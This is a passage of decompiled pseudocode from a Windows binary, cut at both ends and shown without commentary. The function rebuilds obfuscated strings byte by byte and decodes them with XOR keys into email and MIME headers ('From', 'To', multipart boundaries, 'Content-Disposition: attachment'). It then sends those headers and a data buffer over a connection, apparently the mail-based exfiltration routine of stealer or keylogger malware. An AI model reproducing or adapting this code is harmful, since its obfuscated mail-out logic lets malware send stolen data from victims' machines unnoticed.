				intOrPtr _t803;
				char _t805;
				intOrPtr _t850;
				intOrPtr _t852;
				char _t856;
				signed int _t861;
				intOrPtr _t863;
				void* _t864;
				void* _t865;

				_t614 =  *0x4310d8; // 0x2c0d4047
				_t850 = __ecx;
				 *((intOrPtr*)(_t864 + 0x5a4)) = _t614;
				 *((intOrPtr*)(_t864 + 0x14)) = __ecx;
				 *(_t864 + 0xc) = 0x5d;
				 *(_t864 + 0xd) = 0xac;
				 *(_t864 + 0xe) = 0x58;
				_t615 = 0;
				_t738 = 2;
				do {
					_t805 =  *((intOrPtr*)(_t864 + _t615 + 0xc));
					 *((char*)(_t864 + _t615 + 0xc)) =  *((intOrPtr*)(_t864 + _t738 + 0xc));
					_t615 = _t615 + 1;
					 *((char*)(_t864 + _t738 + 0xc)) = _t805;
					_t738 = _t738 - 1;
				} while (_t615 < _t738);
				 *(_t864 + 0x10) =  *(_t864 + 0xc) ^ 0x00000055;
				 *(_t864 + 0x19) =  *(_t864 + 0xd) ^ 0x000000a6;
				 *0x431c88 = 0xb;
				 *(_t864 + 0x1a) =  *(_t864 + 0xe) ^ 0x0000005d;
				E0040BE00(_t864 + 0x164, 0x40);
				_t865 = _t864 + 8;
				_t620 = lstrlenA(_t865 + 0x164);
				_t732 =  *((intOrPtr*)(_t865 + 0x5ac));
				if(E0041BC30(_t620,  *((intOrPtr*)(_t865 + 0x5ac)), _t865 + 0x168, _t620) == 0xffffffff || E0041BC30(_t865 + 0x14, _t732, _t865 + 0x14, 2) == 0xffffffff) {
					return E00424873(0,  *((intOrPtr*)(_t865 + 0x598)));
				} else {
					_t627 =  *((intOrPtr*)(_t850 + 0x14));
					_t856 = 0x20;
					if( *((intOrPtr*)(_t850 + 0x30)) == 0) {
						if(_t627 != 0) {
							 *((char*)(_t865 + 0x30)) = 0x6d;
							 *((char*)(_t865 + 0x31)) = 0x59;
							 *((char*)(_t865 + 0x32)) = 0x44;
							 *((char*)(_t865 + 0x33)) = 0x46;
							 *((char*)(_t865 + 0x34)) = 0x11;
							 *((char*)(_t865 + 0x35)) = 0xb;
							 *((char*)(_t865 + 0x36)) = 0xe;
							 *((char*)(_t865 + 0x37)) = 0x58;
							 *((char*)(_t865 + 0x38)) = 0x26;
							 *((char*)(_t865 + 0x39)) = 0x21;
							 *((char*)(_t865 + 0x3a)) = 0x2b;
							_t723 = 0;
							do {
								 *(_t865 + _t723 + 0x30) =  *(_t865 + _t723 + 0x30) ^ 0x0000002b;
								_t723 = _t723 + 1;
							} while (_t723 < 0xb);
							if( *((intOrPtr*)(_t850 + 0x18)) < 0x10) {
								_t724 = _t850 + 4;
							} else {
								_t724 =  *((intOrPtr*)(_t850 + 4));
							}
							 *0x431f14(_t865 + 0x1b0, _t865 + 0x34, _t724);
							_t865 = _t865 + 0xc;
						}
					} else {
						if(_t627 != 0) {
							 *((char*)(_t865 + 0x1c)) = 0x40;
							 *((char*)(_t865 + 0x1d)) = 0x74;
							 *((char*)(_t865 + 0x1e)) = 0x69;
							 *((char*)(_t865 + 0x1f)) = 0x6b;
							 *((char*)(_t865 + 0x20)) = 0x3c;
							 *((char*)(_t865 + 0x21)) = 0x26;
							 *((char*)(_t865 + 0x22)) = 0x23;
							 *((char*)(_t865 + 0x23)) = 0x75;
							 *((char*)(_t865 + 0x24)) = 0x26;
							 *((char*)(_t865 + 0x25)) = 0x3a;
							 *((char*)(_t865 + 0x26)) = 0x23;
							 *((char*)(_t865 + 0x27)) = 0x75;
							 *((char*)(_t865 + 0x28)) = 0x38;
							 *((char*)(_t865 + 0x29)) = 0xb;
							 *((char*)(_t865 + 0x2a)) = 0xc;
							 *((char*)(_t865 + 0x2b)) = 6;
							_t727 = 0;
							do {
								 *(_t865 + _t727 + 0x1c) =  *(_t865 + _t727 + 0x1c) ^ 0x00000006;
								_t727 = _t727 + 1;
							} while (_t727 < 0x10);
							if( *((intOrPtr*)(_t850 + 0x18)) < 0x10) {
								_t803 = _t850 + 4;
							} else {
								_t803 =  *((intOrPtr*)(_t850 + 4));
							}
							if( *((intOrPtr*)(_t850 + 0x34)) < 0x10) {
								_t728 = _t850 + 0x20;
							} else {
								_t728 =  *((intOrPtr*)(_t850 + 0x20));
							}
							_t54 = _t865 + 0x24; // 0x26
							 *0x431f14(_t865 + 0x1b4, _t54, _t728, _t803);
							_t865 = _t865 + 0x10;
						}
					}
					if(lstrlenA(_t865 + 0x1a8) == 0) {
						L25:
						 *((char*)(_t865 + 0x117)) = 0xe8;
						 *((char*)(_t865 + 0x11d)) = 0xe8;
						 *((char*)(_t865 + 0x125)) = 0xab;
						 *((char*)(_t865 + 0x24)) = 0xab;
						_t861 = _t856 + _t856;
						 *((char*)(_t865 + 0x118)) = 0xa9;
						 *((char*)(_t865 + 0x119)) = 0xd7;
						 *((char*)(_t865 + 0x11a)) = 0xd9;
						 *((char*)(_t865 + 0x11c)) = 0x17;
						 *((char*)(_t865 + 0x11d)) = 0xfb;
						 *((char*)(_t865 + 0x11e)) = 0x35;
						 *((char*)(_t865 + 0x11f)) = 0x6a;
						 *((char*)(_t865 + 0x120)) = 0x1d;
						 *((char*)(_t865 + 0x122)) = 0x88;
						 *((char*)(_t865 + 0x123)) = 0xc5;
						 *((char*)(_t865 + 0x124)) = 0x84;
						 *((char*)(_t865 + 0x125)) = 0xc6;
						 *((char*)(_t865 + 0x126)) = 0xa7;
						 *((char*)(_t865 + 0x127)) = 0xf4;
						 *((char*)(_t865 + 0x128)) = 0xc8;
						 *((char*)(_t865 + 0x12a)) = 0x67;
						 *((char*)(_t865 + 0x12b)) = 0xda;
						 *((char*)(_t865 + 0x20)) = 0xda;
						 *((char*)(_t865 + 0x21)) = 0x6d;
						 *((char*)(_t865 + 0x22)) = 0xa6;
						 *((char*)(_t865 + 0x23)) = 0xf8;
						 *((char*)(_t865 + 0x24)) = 0xda;
						 *((char*)(_t865 + 0x25)) = 0x96;
						 *((char*)(_t865 + 0x26)) = 0xe6;
						 *((char*)(_t865 + 0x27)) = 0xbe;
						 *((char*)(_t865 + 0x29)) = 0xe7;
						 *((char*)(_t865 + 0x2a)) = 0x81;
						 *((char*)(_t865 + 0x2b)) = 0x6e;
						 *((char*)(_t865 + 0x2c)) = 0x18;
						 *((char*)(_t865 + 0x2d)) = 0x50;
						 *((char*)(_t865 + 0x2e)) = 0xad;
						 *((char*)(_t865 + 0x2f)) = 0x3a;
						 *((char*)(_t865 + 0x30)) = 0x8d;
						 *((char*)(_t865 + 0x31)) = 0xb4;
						 *((char*)(_t865 + 0x32)) = 0xbe;
						 *((char*)(_t865 + 0x33)) = 0xe4;
						if(E0041BC30(lstrlenA(E0040BDA0(_t865 + 0x20, 0x14, _t865 + 0x114)),  *((intOrPtr*)(_t865 + 0x5b0)), _t632, _t633) == 0xffffffff) {
							goto L31;
						} else {
							_t852 =  *((intOrPtr*)(_t865 + 0x18));
							if( *((intOrPtr*)(_t852 + 0x4c)) == 0) {
								_t859 =  *((intOrPtr*)(_t865 + 0x5b0));
								goto L33;
							} else {
								 *((char*)(_t865 + 0x30)) = 0x54;
								 *((char*)(_t865 + 0x31)) = 0x6f;
								 *((char*)(_t865 + 0x32)) = 0x3a;
								 *((char*)(_t865 + 0x33)) = 0x20;
								 *((char*)(_t865 + 0x34)) = 0x25;
								 *((char*)(_t865 + 0x35)) = 0x73;
								 *((char*)(_t865 + 0x36)) = 0xd;
								 *((char*)(_t865 + 0x37)) = 0xa;
								 *((char*)(_t865 + 0x38)) = 0;
								if( *((intOrPtr*)(_t852 + 0x50)) < 0x10) {
									_t714 = _t852 + 0x3c;
								} else {
									_t714 =  *((intOrPtr*)(_t852 + 0x3c));
								}
								 *0x431f14(_t865 + 0x1b0, _t865 + 0x34, _t714);
								_t865 = _t865 + 0xc;
								_t717 = lstrlenA(_t865 + 0x1a8);
								_t859 =  *((intOrPtr*)(_t865 + 0x5b0));
								if(E0041BC30(_t865 + 0x1ac,  *((intOrPtr*)(_t865 + 0x5b0)), _t865 + 0x1ac, _t717) != 0xffffffff) {
									L33:
									if( *((intOrPtr*)(_t852 + 0x68)) == 0) {
										L40:
										if( *((intOrPtr*)(_t852 + 0xa8)) == 0 ||  *((intOrPtr*)(_t852 + 0xa0)) == 0 ||  *((intOrPtr*)(_t852 + 0xac)) == 0) {
											_t640 =  *0x431c88; // 0x0
											 *0x431c88 = _t640 * 0x3f;
											if(E0040C3C0(_t852, _t859) == 0) {
												goto L31;
											} else {
												goto L77;
											}
										} else {
											 *(_t865 + 0x14) = _t861 | 0x000006d0;
											E0040C240(0xda, _t865 + 0x128);
											 *((char*)(_t865 + 0xd5)) = 0xda;
											_t865 = _t865 + 4;
											 *((char*)(_t865 + 0xbf)) = 0xdc;
											 *((char*)(_t865 + 0xc2)) = 0xdc;
											 *((char*)(_t865 + 0xcd)) = 0xdc;
											 *((char*)(_t865 + 0xd2)) = 0xdc;
											 *(_t865 + 0xbc) = 0xeb;
											 *((char*)(_t865 + 0xbd)) = 0xc7;
											 *((char*)(_t865 + 0xbe)) = 0xc6;
											 *((char*)(_t865 + 0xc0)) = 0xcd;
											 *((char*)(_t865 + 0xc1)) = 0xc6;
											 *((char*)(_t865 + 0xc3)) = 0x85;
											 *((char*)(_t865 + 0xc4)) = 0xfc;
											 *((char*)(_t865 + 0xc5)) = 0xd1;
											 *((char*)(_t865 + 0xc6)) = 0xd8;
											 *((char*)(_t865 + 0xc7)) = 0xcd;
											 *((char*)(_t865 + 0xc8)) = 0x92;
											 *((char*)(_t865 + 0xc9)) = 0x88;
											 *((char*)(_t865 + 0xca)) = 0xc5;
											 *((char*)(_t865 + 0xcb)) = 0xdd;
											 *((char*)(_t865 + 0xcc)) = 0xc4;
											 *((char*)(_t865 + 0xce)) = 0xc1;
											 *((char*)(_t865 + 0xcf)) = 0xd8;
											 *((char*)(_t865 + 0xd0)) = 0xc9;
											 *((char*)(_t865 + 0xd3)) = 0x87;
											 *((char*)(_t865 + 0xd4)) = 0xc5;
											 *((char*)(_t865 + 0xd5)) = 0xc1;
											 *((char*)(_t865 + 0xd6)) = 0xd0;
											 *((char*)(_t865 + 0xd7)) = 0xcd;
											 *((char*)(_t865 + 0xd8)) = 0xcc;
											 *((char*)(_t865 + 0xd9)) = 0x93;
											 *((char*)(_t865 + 0xda)) = 0xa5;
											 *((char*)(_t865 + 0xdb)) = 0xa2;
											 *((char*)(_t865 + 0xdc)) = 0xa8;
											_t647 = 0;
											do {
												 *(_t865 + _t647 + 0xbc) =  *(_t865 + _t647 + 0xbc) ^ 0x000000a8;
												_t647 = _t647 + 1;
											} while (_t647 < 0x21);
											if(E0041BC30(_t865 + 0xc0, _t859, _t865 + 0xc0, lstrlenA(_t865 + 0xbc)) == 0xffffffff) {
												goto L31;
											} else {
												 *((char*)(_t865 + 0x20)) = 0xe4;
												 *((char*)(_t865 + 0x21)) = 0x15;
												 *((char*)(_t865 + 0x22)) = 0x39;
												 *((char*)(_t865 + 0x23)) = 0x60;
												 *((char*)(_t865 + 0x24)) = 0x4b;
												 *((char*)(_t865 + 0x25)) = 0x4b;
												 *((char*)(_t865 + 0x26)) = 0x30;
												 *((char*)(_t865 + 0x27)) = 0x2e;
												 *((char*)(_t865 + 0x28)) = 0x71;
												 *((char*)(_t865 + 0x29)) = 0xe4;
												 *((char*)(_t865 + 0x2a)) = 0xb1;
												 *((char*)(_t865 + 0x2b)) = 0xf5;
												 *((char*)(_t865 + 0x2c)) = 0x81;
												 *((char*)(_t865 + 0x2d)) = 0x8f;
												 *((char*)(_t865 + 0x2e)) = 0x5f;
												 *((char*)(_t865 + 0x2f)) = 0x9b;
												 *((char*)(_t865 + 0x30)) = 0x3f;
												 *((char*)(_t865 + 0x31)) = 0x81;
												 *((char*)(_t865 + 0x32)) = 0xdb;
												 *((char*)(_t865 + 0x34)) = 0xdb;
												 *((char*)(_t865 + 0x35)) = 0x8b;
												 *((char*)(_t865 + 0x36)) = 0x32;
												 *((char*)(_t865 + 0x37)) = 0x91;
												 *((char*)(_t865 + 0x38)) = 0x52;
												 *((char*)(_t865 + 0x39)) = 0xad;
												 *((char*)(_t865 + 0x3a)) = 0xf2;
												 *((char*)(_t865 + 0x3b)) = 0xd0;
												 *((char*)(_t865 + 0x3c)) = 0x93;
												 *((char*)(_t865 + 0x3d)) = 0xd9;
												 *((char*)(_t865 + 0x3e)) = 8;
												 *((char*)(_t865 + 0x3f)) = 0x5c;
												 *((char*)(_t865 + 0x40)) = 0x51;
												 *((char*)(_t865 + 0x41)) = 0x2f;
												 *((char*)(_t865 + 0x42)) = 0x25;
												 *((char*)(_t865 + 0x43)) = 0x15;
												 *((char*)(_t865 + 0x44)) = 0x56;
												 *((char*)(_t865 + 0x45)) = 0x77;
												 *((char*)(_t865 + 0x46)) = 0xc4;
												_t652 = E0040BDA0(_t865 + 0x34, 0x13, _t865 + 0x1c);
												 *0x431f14(_t865 + 0x1b0, _t652, _t865 + 0x128);
												_t865 = _t865 + 0xc;
												if(E0041BC30(lstrlenA(_t865 + 0x1a8), _t859, _t865 + 0x1ac, _t655) == 0xffffffff) {
													goto L31;
												} else {
													 *0x431f14(_t865 + 0x1ac, "--%s\r\n", _t865 + 0x128);
													_t865 = _t865 + 0xc;
													if(E0041BC30(_t865 + 0x1ac, _t859, _t865 + 0x1ac, lstrlenA(_t865 + 0x1a8)) == 0xffffffff) {
														goto L31;
													} else {
														_t863 =  *((intOrPtr*)(_t865 + 0x18));
														if(E0040C3C0(_t863, _t859) == 0) {
															goto L31;
														} else {
															 *0x431f14(_t865 + 0x1ac, "--%s\r\n", _t865 + 0x128);
															_t865 = _t865 + 0xc;
															if(E0041BC30(lstrlenA(_t865 + 0x1a8), _t859, _t865 + 0x1ac, _t665) == 0xffffffff) {
																goto L31;
															} else {
																 *((char*)(_t865 + 0x9b)) = 0x48;
																 *((char*)(_t865 + 0x9c)) = 0x48;
																 *((char*)(_t865 + 0xa5)) = 0xe9;
																 *((char*)(_t865 + 0xaa)) = 0xe9;
																 *((char*)(_t865 + 0x89)) = 0x29;
																 *((char*)(_t865 + 0x8d)) = 0xd0;
																 *((char*)(_t865 + 0x92)) = 0xd0;
																 *((char*)(_t865 + 0xbb)) = 0xd0;
																 *((char*)(_t865 + 0x39)) = 0x29;
																 *((char*)(_t865 + 0xaf)) = 0xdf;
																 *((char*)(_t865 + 0xb4)) = 0xdf;
																 *((char*)(_t865 + 0xba)) = 0xdf;
																 *((char*)(_t865 + 0x88)) = 0xb0;
																 *((char*)(_t865 + 0x8a)) = 0x6e;
																 *((char*)(_t865 + 0x8b)) = 0x9e;
																 *((char*)(_t865 + 0x8c)) = 0x34;
																 *((char*)(_t865 + 0x8e)) = 0x33;
																 *((char*)(_t865 + 0x8f)) = 0xb5;
																 *((char*)(_t865 + 0x90)) = 0xf6;
																 *((char*)(_t865 + 0x91)) = 0x50;
																 *((char*)(_t865 + 0x93)) = 0x37;
																 *((char*)(_t865 + 0x94)) = 0xdb;
																 *((char*)(_t865 + 0x95)) = 0x69;
																 *((char*)(_t865 + 0x96)) = 0x84;
																 *((char*)(_t865 + 0x97)) = 0x23;
																 *((char*)(_t865 + 0x98)) = 3;
																 *((char*)(_t865 + 0x99)) = 0xb5;
																 *((char*)(_t865 + 0x9a)) = 0xce;
																 *((char*)(_t865 + 0x9d)) = 1;
																 *((char*)(_t865 + 0x9e)) = 0x78;
																 *((char*)(_t865 + 0x9f)) = 0xa;
																 *((char*)(_t865 + 0xa0)) = 0x12;
																 *((char*)(_t865 + 0xa1)) = 0xa1;
																 *((char*)(_t865 + 0xa2)) = 0x1d;
																 *((char*)(_t865 + 0xa3)) = 0x83;
																 *((char*)(_t865 + 0xa4)) = 0x74;
																 *((char*)(_t865 + 0xa6)) = 0x5b;
																 *((char*)(_t865 + 0xa7)) = 0x5a;
																 *((char*)(_t865 + 0xa8)) = 0x4b;
																 *((char*)(_t865 + 0xa9)) = 0x27;
																 *((char*)(_t865 + 0xab)) = 0x3f;
																 *((char*)(_t865 + 0xac)) = 0x45;
																 *((char*)(_t865 + 0xad)) = 0xca;
																 *((char*)(_t865 + 0xae)) = 0x38;
																 *((char*)(_t865 + 0xb0)) = 0x1b;
																 *((char*)(_t865 + 0xb1)) = 0x99;
																 *((char*)(_t865 + 0xb2)) = 0x65;
																 *((char*)(_t865 + 0xb3)) = 0x54;
																 *((char*)(_t865 + 0xb5)) = 0x90;
																 *((char*)(_t865 + 0xb6)) = 0xa4;
																 *((char*)(_t865 + 0xb7)) = 0x45;
																 *((char*)(_t865 + 0xb8)) = 0x19;
																 *((char*)(_t865 + 0xb9)) = 0x5f;
																 *((char*)(_t865 + 0x30)) = 0x93;
																 *((char*)(_t865 + 0x31)) = 0x46;
																 *((char*)(_t865 + 0x32)) = 0;
																 *((char*)(_t865 + 0x33)) = 0xd6;
																 *((char*)(_t865 + 0x34)) = 0x31;
																 *((char*)(_t865 + 0x35)) = 0x9e;
																 *((char*)(_t865 + 0x36)) = 0x41;
																 *((char*)(_t865 + 0x37)) = 0x78;
																 *((char*)(_t865 + 0x38)) = 0x5e;
																 *((char*)(_t865 + 0x3a)) = 0xa0;
																 *((char*)(_t865 + 0x3b)) = 0x2e;
																 *((char*)(_t865 + 0x3c)) = 0x5f;
																 *((char*)(_t865 + 0x3d)) = 0xb7;
																 *((char*)(_t865 + 0x3e)) = 0xbd;
																 *((char*)(_t865 + 0x3f)) = 0x2d;
																 *((char*)(_t865 + 0x40)) = 0x4d;
																 *((char*)(_t865 + 0x41)) = 0x97;
																 *((char*)(_t865 + 0x42)) = 0x7b;
																 *((char*)(_t865 + 0x43)) = 0xfb;
																 *((char*)(_t865 + 0x44)) = 0xf9;
																 *((char*)(_t865 + 0x45)) = 0x53;
																 *((char*)(_t865 + 0x58)) = 0x53;
																 *((char*)(_t865 + 0x46)) = 0xd1;
																 *((char*)(_t865 + 0x47)) = 0x45;
																 *((char*)(_t865 + 0x48)) = 0x3c;
																 *((char*)(_t865 + 0x49)) = 0x8e;
																 *((char*)(_t865 + 0x4a)) = 0x32;
																 *((char*)(_t865 + 0x4b)) = 0xc0;
																 *((char*)(_t865 + 0x4c)) = 0xe0;
																 *((char*)(_t865 + 0x4d)) = 0x5c;
																 *((char*)(_t865 + 0x4e)) = 0xf9;
																 *((char*)(_t865 + 0x4f)) = 0xd3;
																 *((char*)(_t865 + 0x50)) = 8;
																 *((char*)(_t865 + 0x51)) = 0x2d;
																 *((char*)(_t865 + 0x52)) = 0x69;
																 *((char*)(_t865 + 0x53)) = 6;
																 *((char*)(_t865 + 0x54)) = 0xfc;
																 *((char*)(_t865 + 0x55)) = 0x83;
																 *((char*)(_t865 + 0x56)) = 3;
																 *((char*)(_t865 + 0x57)) = 0x41;
																 *((char*)(_t865 + 0x59)) = 0xc8;
																 *((char*)(_t865 + 0x5a)) = 8;
																 *((char*)(_t865 + 0x5b)) = 0x11;
																 *((char*)(_t865 + 0x5c)) = 0x5e;
																 *((char*)(_t865 + 0x5d)) = 0x92;
																 *((char*)(_t865 + 0x5e)) = 0x81;
																 *((char*)(_t865 + 0x5f)) = 0x2e;
																 *((char*)(_t865 + 0x60)) = 9;
																 *((char*)(_t865 + 0x61)) = 0xae;
																 *((char*)(_t865 + 0x62)) = 0x2b;
																 *((char*)(_t865 + 0x63)) = 0x30;
																_t671 = 0;
																do {
																	 *((char*)(_t865 + _t671 + 0x88)) =  *((intOrPtr*)(_t865 + _t671 + 0x88)) +  *((intOrPtr*)(_t865 + _t671 + 0x30));
																	 *((char*)(_t865 + _t671 + 0x89)) =  *((intOrPtr*)(_t865 + _t671 + 0x89)) +  *((intOrPtr*)(_t865 + _t671 + 0x31));
																	 *((char*)(_t865 + _t671 + 0x8a)) =  *((intOrPtr*)(_t865 + _t671 + 0x8a)) +  *((intOrPtr*)(_t865 + _t671 + 0x32));
																	 *((char*)(_t865 + _t671 + 0x8b)) =  *((intOrPtr*)(_t865 + _t671 + 0x8b)) +  *((intOrPtr*)(_t865 + _t671 + 0x33));
																	_t671 = _t671 + 4;
																} while (_t671 < 0x34);
																if( *((intOrPtr*)(_t863 + 0xa4)) < 0x10) {
																	_t672 = _t863 + 0x90;
																} else {
																	_t672 =  *((intOrPtr*)(_t863 + 0x90));
																}
																 *0x431f14(_t865 + 0x1b0, _t865 + 0x8c, _t672);
																_t865 = _t865 + 0xc;
																if(E0041BC30(lstrlenA(_t865 + 0x1a8), _t859, _t865 + 0x1ac, _t675) != 0xffffffff) {
																	 *((char*)(_t865 + 0x6f)) = 0x9d;
																	 *((char*)(_t865 + 0x82)) = 0x9d;
																	 *((char*)(_t865 + 0x66)) = 0x7b;
																	 *((char*)(_t865 + 0x50)) = 0xef;
																	 *((char*)(_t865 + 0x52)) = 0xef;
																	 *(_t865 + 0x64) = 0x64;
																	 *((char*)(_t865 + 0x65)) = 0x99;
																	 *((char*)(_t865 + 0x67)) = 0xe3;
																	 *((char*)(_t865 + 0x68)) = 0x8b;
																	 *((char*)(_t865 + 0x69)) = 0xe;
																	 *((char*)(_t865 + 0x6a)) = 0x82;
																	 *((char*)(_t865 + 0x6b)) = 0xb4;
																	 *((char*)(_t865 + 0x6c)) = 0x25;
																	 *((char*)(_t865 + 0x6d)) = 0xe6;
																	 *((char*)(_t865 + 0x6e)) = 0xac;
																	 *((char*)(_t865 + 0x70)) = 0x8d;
																	 *((char*)(_t865 + 0x71)) = 0x19;
																	 *((char*)(_t865 + 0x72)) = 0x39;
																	 *((char*)(_t865 + 0x73)) = 0xcb;
																	 *((char*)(_t865 + 0x74)) = 0xd1;
																	 *((char*)(_t865 + 0x75)) = 0x15;
																	 *((char*)(_t865 + 0x76)) = 0x5b;
																	 *((char*)(_t865 + 0x77)) = 0x57;
																	 *((char*)(_t865 + 0x78)) = 0x3e;
																	 *((char*)(_t865 + 0x79)) = 0x63;
																	 *((char*)(_t865 + 0x7a)) = 0xf1;
																	 *((char*)(_t865 + 0x7b)) = 0;
																	 *((char*)(_t865 + 0x7c)) = 0xd2;
																	 *((char*)(_t865 + 0x7d)) = 0x15;
																	 *((char*)(_t865 + 0x7e)) = 0xbe;
																	 *((char*)(_t865 + 0x7f)) = 0x45;
																	 *((char*)(_t865 + 0x80)) = 0xf2;
																	 *((char*)(_t865 + 0x81)) = 0x15;
																	 *((char*)(_t865 + 0x83)) = 0x1e;
																	 *((char*)(_t865 + 0x84)) = 0xdb;
																	 *((char*)(_t865 + 0x85)) = 0x81;
																	 *((char*)(_t865 + 0x86)) = 0xe5;
																	 *((char*)(_t865 + 0x87)) = 0x9f;
																	 *((char*)(_t865 + 0x30)) = 0x27;
																	 *((char*)(_t865 + 0x31)) = 0xf6;
																	 *((char*)(_t865 + 0x32)) = 0x15;
																	 *((char*)(_t865 + 0x33)) = 0x97;
																	 *((char*)(_t865 + 0x34)) = 0xee;
																	 *((char*)(_t865 + 0x35)) = 0x60;
																	 *((char*)(_t865 + 0x36)) = 0xf6;
																	 *((char*)(_t865 + 0x37)) = 0x99;
																	 *((char*)(_t865 + 0x38)) = 0x51;
																	 *((char*)(_t865 + 0x39)) = 0x94;
																	 *((char*)(_t865 + 0x3a)) = 0xcd;
																	 *((char*)(_t865 + 0x3b)) = 0xf3;
																	 *((char*)(_t865 + 0x3c)) = 0xfe;
																	 *((char*)(_t865 + 0x3d)) = 0x7f;
																	 *((char*)(_t865 + 0x3e)) = 0x5c;
																	 *((char*)(_t865 + 0x3f)) = 0xb9;
																	 *((char*)(_t865 + 0x40)) = 0xfc;
																	 *((char*)(_t865 + 0x41)) = 0x70;
																	 *((char*)(_t865 + 0x42)) = 0x35;
																	 *((char*)(_t865 + 0x43)) = 0x34;
																	 *((char*)(_t865 + 0x44)) = 0x51;
																	 *((char*)(_t865 + 0x45)) = 7;
																	 *((char*)(_t865 + 0x46)) = 0x98;
																	 *((char*)(_t865 + 0x47)) = 0x6e;
																	 *((char*)(_t865 + 0x48)) = 0xb5;
																	 *((char*)(_t865 + 0x49)) = 0x2f;
																	 *((char*)(_t865 + 0x4a)) = 0x9e;
																	 *((char*)(_t865 + 0x4b)) = 0x27;
																	 *((char*)(_t865 + 0x4c)) = 0x93;
																	 *((char*)(_t865 + 0x4d)) = 0x66;
																	 *((char*)(_t865 + 0x4e)) = 0xf8;
																	 *((char*)(_t865 + 0x4f)) = 0x28;
																	 *((char*)(_t865 + 0x51)) = 0x8c;
																	 *((char*)(_t865 + 0x53)) = 0x9f;
																	_t679 = 0;
																	do {
																		 *(_t865 + _t679 + 0x64) =  *(_t865 + _t679 + 0x64) ^  *(_t865 + _t679 + 0x30);
																		 *(_t865 + _t679 + 0x65) =  *(_t865 + _t679 + 0x65) ^  *(_t865 + _t679 + 0x31);
																		 *(_t865 + _t679 + 0x66) =  *(_t865 + _t679 + 0x66) ^  *(_t865 + _t679 + 0x32);
																		 *(_t865 + _t679 + 0x67) =  *(_t865 + _t679 + 0x67) ^  *(_t865 + _t679 + 0x33);
																		 *(_t865 + _t679 + 0x68) =  *(_t865 + _t679 + 0x68) ^  *(_t865 + _t679 + 0x34);
																		 *(_t865 + _t679 + 0x69) =  *(_t865 + _t679 + 0x69) ^  *(_t865 + _t679 + 0x35);
																		_t679 = _t679 + 6;
																	} while (_t679 < 0x24);
																	if(E0041BC30(lstrlenA(_t865 + 0x64), _t859, _t865 + 0x68, _t681) == 0xffffffff) {
																		goto L31;
																	} else {
																		 *((char*)(_t865 + 0xe2)) = 0x3b;
																		 *((char*)(_t865 + 0xe5)) = 0x3b;
																		 *((char*)(_t865 + 0xf2)) = 0x3b;
																		 *((char*)(_t865 + 0xfd)) = 0x3b;
																		 *((char*)(_t865 + 0x105)) = 0x3b;
																		 *((char*)(_t865 + 0xe0)) = 0x16;
																		 *((char*)(_t865 + 0xe1)) = 0x3a;
																		 *((char*)(_t865 + 0xe3)) = 0x21;
																		 *((char*)(_t865 + 0xe4)) = 0x30;
																		 *((char*)(_t865 + 0xe6)) = 0x21;
																		 *((char*)(_t865 + 0xe7)) = 0x78;
																		 *((char*)(_t865 + 0xe8)) = 0x11;
																		 *((char*)(_t865 + 0xe9)) = 0x3c;
																		 *((char*)(_t865 + 0xea)) = 0x26;
																		 *((char*)(_t865 + 0xeb)) = 0x25;
																		 *((char*)(_t865 + 0xec)) = 0x3a;
																		 *((char*)(_t865 + 0xed)) = 0x26;
																		 *((char*)(_t865 + 0xee)) = 0x3c;
																		 *((char*)(_t865 + 0xef)) = 0x21;
																		 *((char*)(_t865 + 0xf0)) = 0x3c;
																		 *((char*)(_t865 + 0xf1)) = 0x3a;
																		 *((char*)(_t865 + 0xf3)) = 0x6f;
																		 *((char*)(_t865 + 0xf4)) = 0x75;
																		 *((char*)(_t865 + 0xf5)) = 0x34;
																		 *((char*)(_t865 + 0xf6)) = 0x21;
																		 *((char*)(_t865 + 0xf7)) = 0x21;
																		 *((char*)(_t865 + 0xf8)) = 0x34;
																		 *((char*)(_t865 + 0xf9)) = 0x36;
																		 *((char*)(_t865 + 0xfa)) = 0x3d;
																		 *((char*)(_t865 + 0xfb)) = 0x38;
																		 *((char*)(_t865 + 0xfc)) = 0x30;
																		 *((char*)(_t865 + 0xfe)) = 0x21;
																		 *((char*)(_t865 + 0xff)) = 0x6e;
																		 *((char*)(_t865 + 0x100)) = 0x75;
																		 *((char*)(_t865 + 0x101)) = 0x33;
																		 *((char*)(_t865 + 0x102)) = 0x3c;
																		 *((char*)(_t865 + 0x103)) = 0x39;
																		 *((char*)(_t865 + 0x104)) = 0x30;
																		 *((char*)(_t865 + 0x106)) = 0x34;
																		 *((char*)(_t865 + 0x107)) = 0x38;
																		 *((char*)(_t865 + 0x108)) = 0x30;
																		 *((char*)(_t865 + 0x109)) = 0x68;
																		 *((char*)(_t865 + 0x10a)) = 0x77;
																		 *((char*)(_t865 + 0x10b)) = 0x70;
																		 *((char*)(_t865 + 0x10c)) = 0x26;
																		 *((char*)(_t865 + 0x10d)) = 0x77;
																		 *((char*)(_t865 + 0x10e)) = 0x58;
																		 *((char*)(_t865 + 0x10f)) = 0x5f;
																		 *((char*)(_t865 + 0x110)) = 0x55;
																		_t684 = 0;
																		do {
																			 *(_t865 + _t684 + 0xe0) =  *(_t865 + _t684 + 0xe0) ^ 0x00000055;
																			_t684 = _t684 + 1;
																		} while (_t684 < 0x31);
																		if( *((intOrPtr*)(_t863 + 0xa4)) < 0x10) {
																			_t685 = _t863 + 0x90;
																		} else {
																			_t685 =  *((intOrPtr*)(_t863 + 0x90));
																		}
																		 *0x431f14(_t865 + 0x1b0, _t865 + 0xe4, _t685);
																		_t865 = _t865 + 0xc;
																		if(E0041BC30(lstrlenA(_t865 + 0x1a8), _t859, _t865 + 0x1ac, _t688) != 0xffffffff) {
																			if(E0041BC30(_t865 + 0x18, _t859, _t865 + 0x18, 2) != 0xffffffff) {
																				if(E0041BC30(_t691, _t859,  *((intOrPtr*)(_t863 + 0xa8)),  *((intOrPtr*)(_t863 + 0xac))) == 0xffffffff) {
																					goto L31;
																				} else {
																					if(E0041BC30(_t865 + 0x18, _t859, _t865 + 0x18, 2) != 0xffffffff) {
																						if(E0041BC30(_t694, _t859, _t865 + 0x18, 2) != 0xffffffff) {
																							 *0x431f14(_t865 + 0x1ac, "--%s--\r\n", _t865 + 0x128);
																							if(E0041BC30(lstrlenA(_t865 + 0x1a8), _t859, _t865 + 0x1ac, _t698) != 0xffffffff) {
																								L77:
																								_t635 = 1;
																							} else {
																								_t635 = 0;
																							}
																						} else {
																							 *0x431c88 =  *(_t865 + 0x10) & 0x00000038;
																							_t635 = 0;
																						}
																					} else {
																						 *0x431c88 = 0;
																						_t635 = 0;
																					}
																				}
																			} else {
																				 *0x431c88 = 0xb;
																				_t635 = 0;
																			}
																		} else {
